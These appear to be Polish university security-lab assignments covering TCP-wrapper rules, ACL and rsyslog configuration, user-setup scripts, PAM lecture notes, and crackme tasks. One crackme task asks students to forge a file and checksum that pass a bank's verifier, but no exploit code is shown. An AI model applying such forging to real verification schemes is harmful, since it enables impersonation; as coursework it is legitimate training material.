1. Użytkownicy z maszyny solab06 mogą korzystać z usługi telnet. Przy próbie dostępu do pliku /var/log/connections.log dopisywany jest komunikat "TELNET from nazwa-hosta, ip adres-ip, port port".
2. Użytkownicy z maszyny solab06 nie mogą korzystać z usługi rlogin.
3. Użytkownicy z pozostałych maszyn, których nazwy zaczynają się na solab nie mogą korzystać z żadnej z wymienionych usług, a przy próbie dostępu otrzymują komunikat "Use ssh instead of nazwa-usługi from adres-ip".
4. Użytkownicy z wszystkich pozostałych maszyn nie mają dostępu do żadnej z wymienionych usług. Przy próbie niedozwolonego dostępu (także z solab06) do pliku /var/log/connections.log dopisywany jest komunikat "nazwa-usługi attempt from nazwa-hosta, ip adres-ip, port port".
Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:
1. Użytkownik nowy będzie mógł odczytywać pliki, które powstaną w katalogu /home/public.
2. Użytkownik guest ma prawo do odczytu i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu.
3. Pozostali nie mają żadnych praw do katalogu /home/public.
Zainstaluj usługi telnet i finger na swoim serwerze i skonfiguruj je w następujący sposób:
1. Z usługi telnet można korzystać tylko z maszyny solab15.
2. Z usługi finger można korzystać z dowolnej maszyny oprócz solab15.
3. Udane i nieudane próby skorzystania z usługi telnet są odnotowane w odpowiednich logach i zawierają frazę "BSK TELNET" oraz nazwę i adres klienta.
4. W przypadku próby skorzystania z usługi finger wykonaj i zapisz do logów wynik wykonania polecenia safe_finger do łączącego się klienta.
Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:
1. użytkownik admin ma wszelkie uprawnienia do katalogu /home/public i jego zawartości,
2. grupa students ma prawo do odczytu plików, które powstaną w katalogu /home/public,
3. użytkownik guest ma prawo do odczytu, wykonywania i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu,
4. pozostali nie mają żadnych praw do katalogu /home/public i jego zawartości.
Skonfiguruj rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i tylko tam,
2. komunikaty z kategorii daemon, kern, lpr, mail i user znajdowały się w osobnych plikach,
3. komunikaty związane z uwierzytelnianiem użytkowników trafiały do pliku /var/log/auth.log,
4. w głównym dzienniku /var/log/syslog były wszystkie informacje oprócz tych związanych z uwierzytelnianiem, drukowaniem i podsystemem cron,
5. komunikatu z poziomu emerg pochodzące od jądra, usług lub od local2 (na potrzeby testowania) trafiały do wszystkich zalogowanych użytkowników,
6. korzystając z xconsole można było śledzić informacje przekazywane przez usługi i związane z uwierzytelnianiem,
7. do użytkownika admin trafiały komunikaty usług z poziomu co najmniej error oraz związane z drukowaniem i pocztą z poziomu co najmniej warning.
Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:
1. grupa staff ma prawo do odczytu, wykonywania i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu ani do usuwania już istniejących,
2. użytkownik admin należący do grupy staff ma wszelkie uprawnienia do katalogu /home/public i jego zawartości,
3. wszyscy pozostali użytkownicy mają prawo do odczytu plików, które powstaną w katalogu /home/public.
Przetestuj poprawność swojej konfiguracji.
Zmień konfigurację rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie zaśmiecały żadnych innych plików,
2. komunikaty pochodzące od usług: o priorytecie nie większym niż warn znajdowały się w pliku /var/log/daemon-info, a o priorytecie co najmniej crit można było śledzić za pomocą xconsole,
3. wszystkie komunikaty poziomu co najmniej crit poza komunikatami związanymi z pocztą trafiały do pliku /var/log/critical,
4. komunikaty z poziomu emerg pochodzące od jądra lub od local2 (na potrzeby testowania) trafiały do wszystkich zalogowanych użytkowników,
5. korzystając z xconsole można było śledzić błędy (co najmniej poziom err) związane z uwierzytelnianiem.
Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Jako root załóż katalog /home/public i skonfiguruj prawa dostępu w następujący sposób:
1. grupa Staff ma wszelkie uprawnienia do katalogu /home/public i jego zawartości,
2. grupa Students ma prawo do odczytu i wykonywania plików, które powstaną w katalogu /home/public,
3. użytkownik Editor ma prawo do odczytu i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu ani do usuwania już istniejących,
4. wszyscy pozostali użytkownicy mogą sprawdzić jaka jest zawartość katalogu /home/public nie mogą natomiast odczytywać, wykonywać ani modyfikować żadnych znajdujących się tam plików.
Przetestuj poprawność swojej konfiguracji.
Zmień konfigurację rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie zaśmiecały żadnych innych plików,
2. korzystając z xconsole można było śledzić informacje (co najmniej poziom notice) związane z uwierzytelnianiem,
3. wszystkie komunikaty o błędach poziomu co najmniej error i co najwyżej alert, dotyczące poczty i drukowania trafiały do użytkownika root,
4. komunikaty z poziomu emerg poza komunikatami związanymi z pocztą trafiały do wszystkich zalogowanych użytkowników.
Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Wyobraź sobie, że jesteś nauczycielem informatyki w liceum i chcesz na szkolnym serwerze założyć i skonfigurować strukturę katalogów dla klas o profilu mat-fiz-inf w następujący sposób:
1. Identyfikatorem użytkownika jest numer jego legitymacji. W klasie 1e są to numery od 424201 do 424215, w klasie 2e - numery od 424401 do 424415, a w klasie 3e - numery od 424601 do 424615.
2. Katalogi domowe uczniów znajdują się w /home.
3. W każdym katalogu domowym ucznia znajduje się podkatalog public.
4. Każdy uczeń ma prawo do odczytu i wykonywania plików, które powstaną w katalogu /home/424xxx/public należącym do ucznia z tej samej klasy.
5. Grupa staff ma prawo do odczytu, wykonywania i modyfikacji plików/katalogów, które powstaną w katalogach /home/424xxx/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu ani do usuwania już istniejących.
6. Użytkownik master ma wszystkie uprawnienia do plików i katalogów, które powstaną w katalogach /home/424xxx/public.
7. Do pozostałych katalogów i plików, które powstaną w katalogu domowym ucznia ma wyłączne (wszystkie) prawa jego właściciel.
8. Użytkownicy, którzy nie zostali wymienieni wyżej nie mają żadnych praw do katalogów domowych uczniów.
Napisz skrypt, który założy konta Twoim uczniom i odpowiednio skonfiguruje strukturę katalogów. Stwórz potrzebne grupy użytkowników. Przetestuj poprawność swojej konfiguracji.
Przydatne polecenia (oprócz setfacl):
useradd - zakłada użytkownika, opcja -m powoduje założenie katalogu domowego dla nowego użytkownika
groupadd - zakłada grupę
adduser - dodaje użytkownika do grupy
chown/chgrp - zmienia właściciela/grupę pliku lub katalogu
Zmień konfigurację rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie pojawiały się w żadnych innych plikach katalogu /var/log,
2. wszystkie komunikaty o poziomie wyższym niż debug dotyczące uwierzytelniania użytkowników były zapisywane do pliku /var/log/useradm.log,
3. wszystkie komunikaty zawierające wzorzec "424" trafiały do pliku /var/log/students.log,
4. korzystając z xconsole można było śledzić informacje związane z drukowaniem z poziomów od notice do alert,
5. komunikaty najwyższego poziomu pochodzące od jądra lub local2 zostały wypisane na ekranach wszystkich zalogowanych użytkowników,
6. konfiguracja elementów nie wymienionych wyżej pozostała domyślna, czyli taka jaka jest w oryginalnym pliku konfiguracyjnym rsyslog
Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Sprawdź zawartość dzienników po uruchomieniu skryptu z części 1.
Część 1
Wyobraź sobie, że razem kolegą prowadzicie kółko informatyczne w Twojej byłej szkole. Lista uczestników znajduje się w pliku tekstowym, gdzie każdy wiersz ma postać:
identyfikator_ucznia imię nazwisko
Chcesz udostępnić uczniom trzy katalogi: documents, tasks i solutions.
Napisz skrypt, który stworzy odpowiednią strukturę katalogów, założy uczestnikom konta oraz skonfiguruje dostęp do katalogów w taki sposób aby:
1. każdy uczeń z listy miał prawo do odczytu plików, które powstaną w katalogu documents, a twój kolega miał prawo do odczytu i zmiany plików z tego katalogu, nie mógł natomiast nic do niego dodać ani usunąć,
2. każdy uczeń z listy miał prawo do odczytu plików, które powstaną w katalogu tasks, a Twój kolega miał do niego wszystkie prawa,
3. każdy uczeń z listy miał prawo do umieszczenia swojego rozwiązania w katalogu solutions/identyfikator_ucznia-nr_zadania,
4. Twój kolega miał wszystkie prawa do poddrzewa solutions, natomiast uczniowie nie widzieli rozwiązań swoich kolegów.
Plik z listą uczniów, identyfikator kolegi i liczba zadań mają być parametrami skryptu.
Część 2
Skonfiguruj rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie pojawiały się w żadnych innych plikach katalogu /var/log,
2. w głównym dzienniku /var/log/syslog były wszystkie informacje oprócz tych związanych z uwierzytelnianiem, drukowaniem i podsystemem cron,
3. wszystkie komunikaty zawierające wzorzec "solutions" trafiały do pliku /var/log/students.log,
4. komunikatu z poziomu emerg pochodzące od jądra i usług trafiały do wszystkich zalogowanych użytkowników oraz korzystając z xconsole można było śledzić informacje przekazywane przez usługi i związane z drukowaniem i pocztą począwszy od poziomu warning.
Konfiguracja elementów nie wymienionych wyżej powinna pozostać domyślna, czyli taka jaka jest w oryginalnym pliku konfiguracyjnym rsyslog.conf.
Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Sprawdź zawartość dzienników po uruchomieniu skryptu z części 1.
Część 1
Księgarnia Radagast zorganizowana jest w ten sposób, że ma dwóch
menadżerów. Jeden z nich zajmuje się dostawami książek (dalej nazywany
dostawcą), a drugi sprzedażą w sklepie (dalej nazywany szefem sali) i
ma pod sobą pewną liczbę szeregowych sprzedawców. Zakładamy, że żaden
użytkownik systemu komputerowego księgarni nie może przyjmować więcej
niż jednej z powyższych roli.
Lista pracowników wraz z funkcjami znajduje się w pliku tekstowym,
gdzie każdy wiersz ma postać:
identyfikator_pracownika imię nazwisko funkcja
przy czym identyfikator_pracownika to liczba, zaś funkcja może
przybierać trzy postaci: dostawca, szef_sali, sprzedawca.
W celu zapewnienia sprawnej pracy księgarni chcesz udostępnić
pracownikom trzy katalogi: opisy_ksiazek, zadania, raporty oraz pewną
liczbę ich podkatalogów zgodnie z poniższym opisem.
Należy napisać skrypt, który stworzy odpowiednią strukturę katalogów,
założy pracownikom konta oraz skonfiguruje dostęp do katalogów w taki
sposób aby:
1. każdy sprzedawca miał prawo do odczytu plików, które powstaną w
katalogu opisy_ksiazek, ale nie miał żadnych innych praw, szef sali
miał prawo do odczytu i zmiany plików z tego katalogu, ale nie mógł
nic do niego dodać ani z niego usunąć, zaś dostawca miał prawo do
odczytu, zapisu oraz dodawania opisów;
2. każdy sprzedawca miał prawo do odczytu plików, które powstaną w
katalogu zadania/<identyfikator_pracownika>, gdzie
<identyfikator_pracownika> jest jego identyfikatorem, ale nie miał
żadnych praw do katalogów innych sprzedawców, szef sali miał
wszystkie prawa do katalogu zadania i jego podkatalogów, zaś
dostawca miał prawo odczytu wszystkich plików w podkatalogach
katalogu zadania, ale nie miał prawa żadnych z tych plików
modyfikować ani żadnych plików tamże dodawać czy usuwać;
3. każdy sprzedawca miał prawo do umieszczenia, modyfikowania i
usuwania raportu ze swojego zadania w katalogu
raporty/<identyfikator_pracownika>, gdzie
<identyfikator_pracownika> to jego identyfikator, ale nie miał
żadnych praw do katalogów innych sprzedawców, szef sali i dostawca
mieli prawo do odczytu wszystkich plików w katalogu raporty i jego
podkatalogach, ale nie mieli prawa żadnych z tych plików
modyfikować, ani żadnych plików tamże dodawać czy usuwać.
Dodatkowo skrypt ten ma za zadanie za pomocą polecenia su przetestować
powyżej opisaną funkcjonalność wykonując następujące kroki:
a) Jako dostawca ma stworzyć opisy 5 książek w katalogu opisy_ksiazek.
b) Jako szef sali ma odczytać za pomocą polecenia cat (z
przekierowaniem do /dev/null) stworzone opisy, a następnie do
każdego z opisów dodać na końcu wiersz ze słowami "na półce". Po
tej czynności ma spróbować dodać opis 6. książki oraz usunąć opisy
wszystkich książek.
c) Jako sprzedawca ma odczytać za pomocą polecenia cat (z
przekierowaniem do /dev/null) stworzone opisy, a następnie do opisu
5. spróbować dodać na końcu wiersz ze słowami "nie ma miejsca",
po czym spróbować usunąć ten opis oraz wreszcie spróbować dodać
opis 6. książki.
d) Jako szef sali ma stworzyć w każdym z katalogów
zadania/ 2 pliki z zadaniami.
e) Jako dostawca ma odczytać za pomocą polecenia cat (z
przekierowaniem do /dev/null) stworzone pliki z zadaniami, a
następnie do każdego z nich ma spróbować dodać na końcu wiersz ze
słowem "unieważnione", po czym spróbować je wszystkie usunąć.
f) Jako sprzedawca ma odczytać za pomocą polecenia cat (z
przekierowaniem do /dev/null) stworzone pliki z zadaniami w swoim
katalogu, a następnie do każdego z nich ma spróbować dodać na końcu
wiersz ze słowem "nie zrobię", po czym spróbować je wszystkie
usunąć. Następnie ma spróbować odczytać za pomocą polecenia cat (z
przekierowaniem do /dev/null) stworzone pliki z zadaniami w
katalogach innych sprzedawców. Wreszcie ma spróbować dodać do
wszystkich katalogów podkatalogu zadania dodać nowy plik.
g) Jako sprzedawca ma stworzyć w katalogu
raporty/, gdzie
to jego identyfikator, dwa pliki z
raportami o takich samych nazwach, jak pliki w katalogu
zadania/. Następnie ma do każdego z nich
dodać wiersz z napisem "nie zrobię:", a następnie całą dotychczasową
zawartość tego pliku. Następnie ma spróbować dodać napis "a kuku"
do plików z raportami innych sprzedawców.
h) Jako szef sali ma odczytać wszystkie pliki z podkatalogów katalogu
raporty. Następnie ma spróbować do każdego z tych plików dodać na
końcu wiersz o treści "nie zrobione". Wreszcie do każdego
podkatalogu tego katalogu dodać plik o nazwie zrobtowreszcie.
i) Jako dostawca ma odczytać wszystkie pliki z podkatalogów katalogu
raporty. Następnie ma spróbować do każdego z tych plików dodać na
końcu wiersz o treści "podgladam". Wreszcie do każdego
podkatalogu tego katalogu dodać plik o nazwie zrobtowreszcie.
Plik z listą pracowników ma być parametrem skryptu. Skrypt ma wykrywać
sytuację, gdy jest mniej niż dwóch sprzedawców i zgłaszać ją jako
błąd, a także gdy liczba dostawców w pliku jest różna od 1 oraz liczba
szefów sali w pliku jest różna od 1.
Część 2
Skonfiguruj rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu info trafiały do pliku
/var/log/info.log i nie pojawiały się w żadnych innych plikach
katalogu /var/log,
2. zapisy z innych poziomów nie trafiały do pliku /var/log/info.log,
3. do głównego dziennika /var/log/syslog trafiały wszystkie informacje
oprócz tych związanych z jądrem systemu i uwierzytelnianiem,
4. do dziennika /var/log/auth.log trafiały wszystkie informacje
związane uwierzytelnianiem i żadne inne,
5. do pliku /var/log/kernlog trafiały wszystkie informacje związane z
jądrem systemu,
6. wszystkie komunikaty zawierające wzorzec "bookstore" w godzinach
8:00-16:00 trafiały do pliku /var/log/bookstore.log, a do pliku
/var/log/afterhours.log w pozostałych godzinach.
Konfiguracja praw dostępu do plików konfiguracyjnych powinna pozwalać
na odczyt i zapis do nich wyłącznie użytkownikowi root, zaś na dostęp
do katalogów z plikami raportów wszystkich użytkowników. Poza tym
konfiguracja powinna mieć charakter minimalny - tylko zawierać rzeczy
potrzebne do uzyskania opisanej funkcjonalności.
Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Sprawdź zawartość dzienników po uruchomieniu skryptu z części 1.
Archiwum z dwoma plikami zawierającymi rozwiązanie zadania wgraj przed swoimi zajęciami
jako rozwiązanie odpowiedniego zadania do Moodle.
Część 1
Green Forest Bank zorganizowany jest w ten sposób, że ma dwa główne
działy: bankowość detaliczną (DBD) i biznesową (DBB). Jeden z nich
zajmuje się obsługą klientów indywidualnych, a drugi klientów
biznesowych. Każdy dział ma swojego dyrektora, a każdy dyrektor ma pod
sobą pewną liczbę szeregowych pracowników obsługi. Zakładamy, że żaden
użytkownik systemu komputerowego banku nie może przyjmować więcej niż
jednej z powyższych roli.
Lista pracowników wraz z funkcjami znajduje się w pliku tekstowym,
gdzie każdy wiersz ma postać:
identyfikator_pracownika imię nazwisko funkcja dział
przy czym identyfikator_pracownika to liczba, zaś funkcja może
przybierać dwie postaci: dyrektor, obsługa, z kolei dział to jedna z
wartości DBD lub DBB.
W celu zapewnienia sprawnej pracy banku należy udostępnić pracownikom
trzy katalogi: kredyty, lokaty, zadania oraz pewną liczbę ich
podkatalogów zgodnie z poniższym opisem.
Należy napisać skrypt, który stworzy odpowiednią strukturę katalogów,
założy pracownikom konta oraz skonfiguruje dostęp do katalogów w
następujący sposób.
1. Każdy pracownik obsługi ma mieć prawo do odczytu plików, które
powstaną w katalogach kredyty, lokaty, ale tylko pod warunkiem, że
pliki należą do grupy o nazwie takiej samej, jak jego dział oraz nie
ma mieć żadnych innych praw odczytu do plików w tych katalogach.
2. Każdy dyrektor ma mieć prawo do odczytu plików oraz podkatalogów we
wszystkich trzech katalogach.
3. Pracownik obsługi ma mieć prawo do tworzenia plików, w katalogach
kredyty i lokaty oraz zapisu do plików tamże, które sam
stworzył. Jednak nie ma prawa do zapisu do plików, których sam nie
stworzył w tych katalogach. Pliki tworzone przez pracownika obsługi
mają mieć grupę o nazwie takiej samej, jak jego dział.
4. Każdy pracownik obsługi ma mieć prawo do odczytu plików, które
powstaną w katalogu zadania/<identyfikator_pracownika>, gdzie
<identyfikator_pracownika> jest jego identyfikatorem, ale nie ma mieć
żadnych praw do katalogów odpowiadających w ten sposób innym
pracownikom ani też nie ma mieć prawa do tworzenia plików czy
katalogów w katalogu zadania.
5. Dyrektor ma mieć prawo do tworzenia i zapisu plików oraz katalogów,
w katalogu zadania, ale tylko pod warunkiem, że pliki oraz katalogi
należą do grupy o nazwie takiej samej, jak jego dział oraz nie ma mieć
żadnych innych praw zapisu, pliki tworzone przez dyrektora mają mieć
grupę o nazwie takiej samej, jak jego dział.
Dodatkowo skrypt ten ma za zadanie za pomocą polecenia su przetestować
powyżej opisaną funkcjonalność, wykonując następujące kroki:
a) Jako dyrektor DBD ma stworzyć 2 zadania w każdym katalogu
zadania/<identyfikator_pracownika> dla pracowników z działu DBD.
Zawartość pliku pierwszego to "kredyt", a drugiego "lokata".
b) Jako dyrektor DBB ma stworzyć 3 zadania w każdym katalogu
zadania/<identyfikator_pracownika> dla pracowników z działu DBB.
Zawartość pliku pierwszego i drugiego to "kredyt", a trzeciego
"lokata".
c) Jako dyrektor DBD ma spróbować przeczytać 1 zadanie w każdym
katalogu zadania/<identyfikator_pracownika> dla pracowników z
działu DBB.
d) Jako dyrektor DBB ma spróbować przeczytać 1 zadanie w każdym
katalogu zadania/<identyfikator_pracownika> dla pracowników z
działu DBD.
e) Dla każdego pracownika obsługi z działu DBD oraz DBB, ma on
odczytać jako ten pracownik za pomocą polecenia cat (z
przekierowaniem do /dev/null) stworzone opisy w katalogu
zadania/<identyfikator_tego_pracownika>, a następnie do każdego z
opisów spróbować dodać na końcu wiersz ze słowem "zrobione".
f) Dla każdego pracownika obsługi z działu DBD oraz DBB, ma on dla
każdego pliku z katalogu zadania/<identyfikator_tego_pracownika>
zawierającego napis "lokata" utworzyć nowy plik w katalogu lokaty z
napisem "zrobione". Podobnie dla każdego pliku z katalogu
zadania/<identyfikator_tego_pracownika> zawierającego napis
"kredyt" utworzyć nowy plik w katalogu kredyty z napisem "zrobione".
g) Dla każdego pracownika obsługi z działu DBD oraz DBB, ma on dla
każdego pliku z katalogów kredyty i zadania spróbować dodać na
końcu napis "zrobione".
Część 2
Skonfiguruj rsyslog w taki sposób, aby:
1. wszystkie zapisy z poziomu notice i niższych trafiały do pliku
/var/log/notice.log i nie pojawiały się w żadnych innych plikach
katalogu /var/log,
2. zapisy z innych poziomów nie trafiały do pliku /var/log/notice.log,
3. do głównego dziennika /var/log/syslog trafiały wszystkie informacje
oprócz tych związanych z jądrem systemu i pocztą,
4. do dziennika /var/log/mail.log trafiały wszystkie informacje
związane usługami pocztowymi i żadne inne,
5. do pliku /var/log/kernel.log trafiały informacje związane z
jądrem systemu o poziomie nie niższym niż warning,
6. do pliku /var/log/syslogkern.log trafiały informacje związane z
jądrem systemu o poziomie niższym niż warning,
7. wszystkie komunikaty zawierające wzorzec "business" w godzinach
8:00-16:00 trafiały do pliku /var/log/business_banking.log, a do pliku
/var/log/afterhours.log w pozostałych godzinach.
Konfiguracja praw dostępu do plików konfiguracyjnych powinna pozwalać
na odczyt i zapis do nich wyłącznie użytkownikowi root, zaś na dostęp
do katalogów z plikami raportów wszystkich użytkowników. Poza tym
konfiguracja powinna mieć charakter minimalny - tylko zawierać rzeczy
potrzebne do uzyskania opisanej funkcjonalności.
Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Sprawdź zawartość dzienników po uruchomieniu skryptu z części 1.
Archiwum z dwoma plikami zawierającymi rozwiązanie zadania wgraj przed
swoimi zajęciami jako rozwiązanie odpowiedniego zadania do Moodle.
Na początek należy przypomnieć sobie assemblera na poziomie umożliwaijącym zrozumienie krótkiego programu.
A następnie postępować według scenariusza laboratoryjnego z zeszłego roku: https://www.mimuw.edu.pl/~kdr/bsk/lab5 .
Spakowane w umieszczonym poniżej pliku crackme2018 i crackme2018.trudne są zmodyfikowanymi wersjami crackme05 i crackme05b z podlinkowanego scenariusza - program napisany jest inaczej, ale pełni tę samą funkcję. Należy przygotować poprawny plik wykonywalny i odpowiadającej mu sumę kontrolną.
Załącznik | Wielkość |
---|---|
crackme2018.zip | 6.72 KB |
Spakowane w umieszczonym poniżej pliku crackme2019 i crackme2019.trudne są zmodyfikowanymi wersjami crackme05 i crackme05b z podlinkowanego scenariusza - program napisany jest inaczej, ale pełni tę samą funkcję. Należy przygotować poprawny plik wykonywalny i odpowiadającej mu sumę kontrolną.
Załącznik | Wielkość |
---|---|
crackme2019.zip | 6.56 KB |
Green Forest Bank stosuje następującą politykę udostępniania dokumentu: wraz z plikiem jest udostępniany jest skrót wykonany Tajną Funkcją. Klienci weryfikują za pomocą dostępnego poniżej programu crackme2020 że plik i skrót podany przez bank pasują do siebie. Aby podszyć się pod bank potrzebujemy umieć wygenerować plik i pasujący do niego skrót.
Spakowane w umieszczonym poniżej pliku crackme2020 i crackme2020.trudne są zmodyfikowanymi wersjami crackme05 i crackme05b z podlinkowanego scenariusza - program napisany jest inaczej, ale pełni tę samą funkcję. Należy przygotować poprawny plik wykonywalny (np. kopię /usr/bin/ls) i odpowiadającą mu sumę kontrolną. Podczas oddawania zadania prowadzący może poprosić o wyznaczenie sumy dla innego pliku.
Załącznik | Wielkość |
---|---|
crackme2020.zip | 6.59 KB |
Cel: umożliwienie elastycznej kontroli dostępu do systemu i programów przez wprowadzenie możliwości definiowania własnych modułów dostępu.
Rozwiązanie: ładowalne moduły autoryzacji (Pluggable Authorization Modules, PAM), popularnie zwane wtyczkami, zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA, linie papilarne). Oprócz autoryzacji mają dodatkowe możliwości, takie jak nakładanie dodatkowych ograniczeń (np. na liczbę jednoczesnych loginów).
Dla danej aplikacji administrator ustala (plikiem konfiguracyjnym), które z nich mają być użyte.
3 poziomy:
1. Programista aplikacji:
umieszcza w programie (np. /bin/login) odpowiednie wywołania funkcji dla ładowalnych modułów autoryzacji (no i linkuje program z odpowiednią biblioteką).
2. Programista modułów:
pisze ładowalne moduły autoryzacji zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA, linie papilarne), które będą używane w aplikacjach.
3. Administrator:
instaluje i modyfikuje pliki konfiguracyjne dla aplikacji i modułów autoryzacji (i zapewne także instaluje moduły w systemie).
Na co dzień najbardziej istotny jest poziom 3.
Struktura systemu PAM dzieli się na 4 w miarę niezależne grupy zarządzania (zwane też typami):
- auth: zarządzanie identyfikacją, uwierzytelnieniem oraz podstawowymi formami autoryzacji,
- account: zarządzanie kontami i bardziej zaawansowaną autoryzacją: określanie, czy użytkownik ma prawo dostępu do danej usługi, czy może zalogować się o danej porze dnia itp.
- session: zarządzanie sesjami (np. limity),
- password: zarządzanie aktualizacją żetonów identyfikujących (np. haseł).
Niektóre programy, np. login, potrzebują usług z wszystkich czterech grup. Inne, takie jak passwd, mogą korzystać tylko z wybranych grup.
Każda aplikacja chcąca używać PAM ma plik konfiguracyjny zawierający listę modułów dla procesu uwierzytelniania. Nazwa pliku nie musi być zgodna z nazwą aplikacji, często na początek używa się ,,cudzych'' sprawdzonych plików.
Pliki te znajdują się w katalogu /etc/pam.d (w starych wersjach mógł być jeden wspólny plik /etc/pam.conf, obecnie jest on używany tylko gdy brak katalogu /etc/pam.d), na przykład dla /bin/login login plikiem tym będzie /etc/pam.d/login.
Plik konfiguracyjny o nazwie other zawiera wartości domyślne (zwykle zabrania wszystkiego). Są w nim tylko odwołania do modułu pam_deny, ewentualnie poprzedzone przez odwołaniami do pam_warn. Tego pliku używa się (również jako początkowego szablonu) dla services bez własnych plików konfiguracyjnych (oczywiście gdy używają PAM).
Moduł pam_deny po prostu odmawia dostępu (zawsze zwraca niepowodzenie).
Moduł pam_warn rejestruje w syslogu informacje o wykonywanej operacji.
Inny popularny plik używany powszechnie to login.
Wpisy mają postać:
<grupa> <kategoria> <moduł> [<argumenty>]
np.
auth required pam_securetty.so auth required pam_unix.so
gdzie <kategoria>
to jedna z wartości:
- requisite niepowodzenie natychmiast wraca do aplikacji z błędem,
- required każdy taki moduł musi zwrócić sukces,
- sufficient sukces takiego modułu i wszystkich jego poprzedników, powoduje zwrócenie sukcesu do aplikacji (niepowodzenie jest ignorowane),
- optional ,,ozdobnik'' bez wpływu na sukces lub niepowodzenie.
albo ,,pseudokategoria'':
- include,
- substack.
Uwaga: dawniej zamiast pseudokategorii był moduł pam_stack.so --- powodował
dołączenie list z innego podanego pliku (zwykle system-auth). Można natknąć
się na takie przykłady w Internecie.
Ostatnio w PAM wprowadzono kategorie złożone, zapisywane w nawiasach
kwadratowych. Pozwalają uzależnić wybór akcji od konkretnej wartości
zwróconej przez moduł (a nie tylko sukces/porażka). Nie będziemy ich
używać, ale mogą wystąpić w plikach, które będziecie podglądali.
Poszczególne moduły ładowane są kolejno, wiele z nich ma pliki konfiguracyjne zawarte w katalogu /etc/security.
Modułów PAM jest wiele, są one typu open-source, więc można je samodzielnie modyfikować. Można też pisać własne. Technicznie moduł to biblioteka ładowalna dynamicznie przez nazwę (wywołaniem dlopen()).
Trzyma się je standardowo w jakimś katalogu security, np.
/lib/security
/lib64/security
/usr/lib/security
/usr/lib64/security
Zwykle nazwa modułu to pam_cośtam.so, najczęściej działa
man pam_cośtam
Przykłady:
Moduł pam_access zarządza klasycznym logowaniem do systemu lub aplikacji. W celu uaktywnienia modułu pam_access dla aplikacji login należy do jej pliku konfiguracyjnego dodać na końcu grupy account wiersz:
account required pam_access.so
Moduł pam_access ma plik sterujący /etc/security/access.conf. Każdy wiersz w nim ma postać
<uprawnienie> : <użytkownicy> : <miejsca>
Uprawnienie to jeden ze znaków + lub -. Nazwy użytkowników można oddzielać spacjami. Miejsce to nazwa komputera, LOCAL oznacza dostęp lokalny.
Do nakładania limitów służy moduł pam_limits:
session required pam_limits.so
z plikiem konfiguracyjnym limits.conf. Składnia wierszy:
<dziedzina> <typ> <ograniczenie> <wartość>
gdzie <dziedzina>
określa użytkowników lub grupy, <typ>
to hard lub soft, zaś <ograniczenie>
to np. fsize lub nproc. Aby pozwolić użytkownikowi guest tylko na jednokrotne logowanie, należy tam wpisać
guest hard maxlogins 1
Moduł pam_securetty ogranicza do konsoli możliwość logowania się na konto root.
Nie ma ,,kompletnej'' listy modułów. W dokumentacji administratora
wymienione są te, które w danym momencie przychodzą z pakietem.
Ta lista się zmienia :-(żółw się rusza).
Poniżej częściowy wykaz:
pam_access: zobacz wyżej.
pam_cracklib: sprawdza jakość hasła ze słownikiem.
pam_debug: tylko do testowania.
pam_deny: zobacz wyżej.
pam_echo: wypisuje zawartośc pliku.
pam_env: ustawia zmienne środowiska.
pam_exec: wywołuje zewnętrzne polecenie.
pam_lastlog: odnotowuje czas ostatniego logowania w pliku /var/log/lastlog.
pam_ldap: autoryzacja w oparciu o LDAP server (niestandardowy).
pam_limits: nakłada ograniczenia na zasoby, plik /etc/security/limits.conf.
pam_listfile: alternatywna wersja pam_access.
pam_mail: sprawdza, czy użytkownik ma nową pocztę.
pam_motd: wypisuje "message of the day", zwykle z /etc/motd.
pam_nologin: jeśli istnieje plik /etc/nologin lub /var/run/nologin, to zwraca niepowodzenie, przy okazji wypisując zawartość tego pliku. Dla root'a zawsze OK.
pam_permit: zawsze zwraca sukces.
pam_pwhistory: sprawdza nowe hasło z ostatnio używanymi.
pam_rootok: tylko root, zwykle umieszcany w /etc/pam.d/su jako "sufficient" test, żeby root mógł stawać się zwykłym użytkownikiem bez podawania hasła.
pam_securetty: sprawdza, czy ten użytkownik ma prawo się logować z tego urządzenia. Zagląda do pliku /etc/securetty file --- jest to wyjątek, bo większość plików pomocniczych jest w /etc/security.
pam_shells: wpuszcza tylko, gdy shell użytkownika jest legalny (tz. wymieniony w pliku /etc/shells).
pam_succeed_if: pozwala sprawdzać różne warunki.
pam_tally: prowadzi licznik prób dostępu, odmawia gdy było za dużo.
pam_time: ograniczenie dostępu według reguł z pliku /etc/security/time.conf.
pam_unix: klasyczna autoryzacja UNIXowa (/etc/passwd, /etc/shadow).
pam_warn: zobacz wyżej.
pam_wheel: uprawnienia roota tylko dla członków grupy wheel.
Przykład pliku konfiguracyjnego /etc/pam.d/su dla programu su
auth sufficient pam_rootok.so # Uncomment the following line to implicitly trust users in the "wheel" group. #auth sufficient pam_wheel.so trust use_uid # Uncomment the following line to require a user to be in the "wheel" group. #auth required pam_wheel.so use_uid auth substack system-auth auth include postlogin account sufficient pam_succeed_if.so uid = 0 use_uid quiet account include system-auth password include system-auth session include system-auth session include postlogin session optional pam_xauth.so
